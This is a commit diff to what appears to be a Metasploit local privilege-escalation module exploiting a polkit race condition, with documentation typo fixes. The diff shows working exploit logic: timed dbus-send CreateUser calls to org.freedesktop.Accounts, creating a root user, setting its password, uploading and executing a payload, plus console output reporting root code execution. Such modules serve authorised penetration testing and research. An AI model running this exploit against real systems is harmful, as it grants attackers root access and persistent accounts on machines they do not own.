Update some typos in the documentation and also update the exploit module to handle various cases whereby the dbus-send command might end up timing out due to TIMEOUT being too low and to fix some final issues found during testing
This commit is contained in:
parent
9f88ef0954
commit
570ba091f6
|
@ -8,7 +8,7 @@ launches an authentication agent. When run from a graphical session, an authenti
|
|||
dialog box and waits for user input. This dialog box will cause the dbus-command to time out waiting for user input and
|
||||
will prevent successful exploitation of polkit
|
||||
|
||||
If `systemd` is installed on the system the session service type can be checked by running: `loginctl session-status`.
|
||||
If `systemd` is installed on the system the session service type can be checked by running: `loginctl session-status`.
|
||||
The following output (x11) indicates a graphical session is being run and the exploit will not work:
|
||||
|
||||
`Service: gdm-password; type x11; class user`
|
||||
|
@ -92,7 +92,7 @@ msf6 exploit(linux/local/polkit_dbus_auth_bypass) > run
|
|||
[*] Attempting to create user msf
|
||||
[+] User msf created with UID 1019
|
||||
[*] Attempting to set the password of the newly create user, msf, to: NpJsQSti
|
||||
[+] Obtained code execution has root!
|
||||
[+] Obtained code execution as root!
|
||||
[*] Writing '/tmp/vOWnn' (207 bytes) ...
|
||||
[*] Sending stage (984904 bytes) to 192.168.123.146
|
||||
[+] Deleted /tmp/vOWnn
|
||||
|
|
|
@ -60,7 +60,7 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
register_options([
|
||||
OptString.new('USERNAME', [ true, 'A username to add as root', 'msf' ], regex: /^[a-z_]([a-z0-9_-]{0,31}|[a-z0-9_-]{0,30}\$)$/),
|
||||
OptString.new('PASSWORD', [ true, 'A password to add for the user (default: random)', rand_text_alphanumeric(8)]),
|
||||
OptInt.new('TIMEOUT', [true, 'The maximum time in seconds to wait for each request to finish', 15]),
|
||||
OptInt.new('TIMEOUT', [true, 'The maximum time in seconds to wait for each request to finish', 30]),
|
||||
OptInt.new('ITERATIONS', [ true, 'Due to the race condition the command might have to be run multiple times before it is successful. Use this to define how many times each command is attempted', 20])
|
||||
])
|
||||
register_advanced_options([
|
||||
|
@ -113,7 +113,7 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
time_command = "bash -c 'time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:#{user} string:\"#{user}\" int32:1'"
|
||||
time = cmd_exec(time_command, nil, datastore['TIMEOUT']).match(/real\s+\d+m(\d+.\d+)s/)
|
||||
unless time && time[1]
|
||||
print_error("Unable to determine the time taken to run the dbus command. Without this information the exploit cannot continue. The command that failed was: #{time_command}")
|
||||
print_error("Unable to determine the time taken to run the dbus command, so the exploit cannot continue. Try increasing the TIMEOUT option. The command that failed was: #{time_command}")
|
||||
return nil
|
||||
end
|
||||
|
||||
|
@ -121,12 +121,17 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
# The dbus-send command timeout is implementation-defined, typically 25 seconds
|
||||
# https://dbus.freedesktop.org/doc/dbus-send.1.html#:~:text=25%20seconds
|
||||
if time_in_seconds > datastore['TIMEOUT'].to_f || time_in_seconds > 25.00
|
||||
fail_with(Failure::UnexpectedReply, 'The dbus-send command timed out which means the exploit cannot continue. This is likely due to the session service type being x11 instead of SSH. Please see the module documentation for more information')
|
||||
print_error('The dbus-send command timed out which means the exploit cannot continue. This is likely due to the session service type being X11 instead of SSH. Please see the module documentation for more information.')
|
||||
return nil
|
||||
end
|
||||
time_in_seconds / 2
|
||||
end
|
||||
|
||||
def check
|
||||
if datastore['TIMEOUT'] < 26
|
||||
return CheckCode::Unknown("TIMEOUT is set to less than 26 seconds, so we can't detect if polkit times out or not.")
|
||||
end
|
||||
|
||||
unless cmd_exec('pkexec --version') =~ /pkexec version (\d+\S*)/
|
||||
return CheckCode::Safe('The polkit framework is not installed.')
|
||||
end
|
||||
|
@ -368,6 +373,9 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
def exploit
|
||||
fail_with(Failure::NotFound, 'Failed to find the su command which this exploit depends on.') unless command_exists?('su')
|
||||
fail_with(Failure::NotFound, 'Failed to find the dbus-send command which this exploit depends on.') unless command_exists?('dbus-send')
|
||||
if datastore['TIMEOUT'] < 26
|
||||
fail_with(Failure::BadConfig, "TIMEOUT is set to less than 26 seconds, so we can't detect if dbus-send times out or not.")
|
||||
end
|
||||
|
||||
if @cmd_delay.nil?
|
||||
# cmd_delay wasn't set yet which is needed for the rest of the exploit to operate,
|
||||
|
@ -375,28 +383,24 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
|
||||
# Calculate the round trip time for the dbus command we want to kill half way through in order to trigger the exploit
|
||||
@cmd_delay = get_cmd_delay
|
||||
return Failure::Unknown('Failed to calculate the round trip time for the dbus command. This is necessary in order to exploit the target.') if @cmd_delay.nil?
|
||||
fail_with(Failure::Unknown, 'Failed to calculate the round trip time for the dbus command. This is necessary in order to exploit the target.') if @cmd_delay.nil?
|
||||
end
|
||||
|
||||
print_status("Attempting to create user #{datastore['USERNAME']}")
|
||||
loop_sequence = get_loop_sequence
|
||||
|
||||
if exploit_set_username(loop_sequence)
|
||||
uid = cmd_exec("id -u #{datastore['USERNAME']}")
|
||||
print_good("User #{datastore['USERNAME']} created with UID #{uid}")
|
||||
print_status("Attempting to set the password of the newly created user, #{datastore['USERNAME']}, to: #{datastore['PASSWORD']}")
|
||||
if exploit_set_password(uid, create_unix_crypt_hash, loop_sequence)
|
||||
print_good('Obtained code execution as root!')
|
||||
fname = upload_payload
|
||||
execute_payload(fname)
|
||||
else
|
||||
print_error("Attempted setting the password #{datastore['Iterations']} times, did not work.")
|
||||
end
|
||||
fail_with(Failure::BadConfig, "The user #{datastore['USERNAME']} was unable to be created. Try increasing the ITERATIONS amount.") unless exploit_set_username(loop_sequence)
|
||||
uid = cmd_exec("id -u #{datastore['USERNAME']}")
|
||||
print_good("User #{datastore['USERNAME']} created with UID #{uid}")
|
||||
print_status("Attempting to set the password of the newly created user, #{datastore['USERNAME']}, to: #{datastore['PASSWORD']}")
|
||||
if exploit_set_password(uid, create_unix_crypt_hash, loop_sequence)
|
||||
print_good('Obtained code execution as root!')
|
||||
fname = upload_payload
|
||||
execute_payload(fname)
|
||||
else
|
||||
print_error("Attempted setting the password #{datastore['Iterations']} times, did not work.")
|
||||
print_error("Attempted to set the password #{datastore['Iterations']} times, did not work.")
|
||||
end
|
||||
|
||||
|
||||
print_status('Attempting to remove the user added: ')
|
||||
if exploit_delete_user(uid, loop_sequence)
|
||||
print_good("Successfully removed #{datastore['USERNAME']}")
|
||||
|
|
Loading…
Reference in New Issue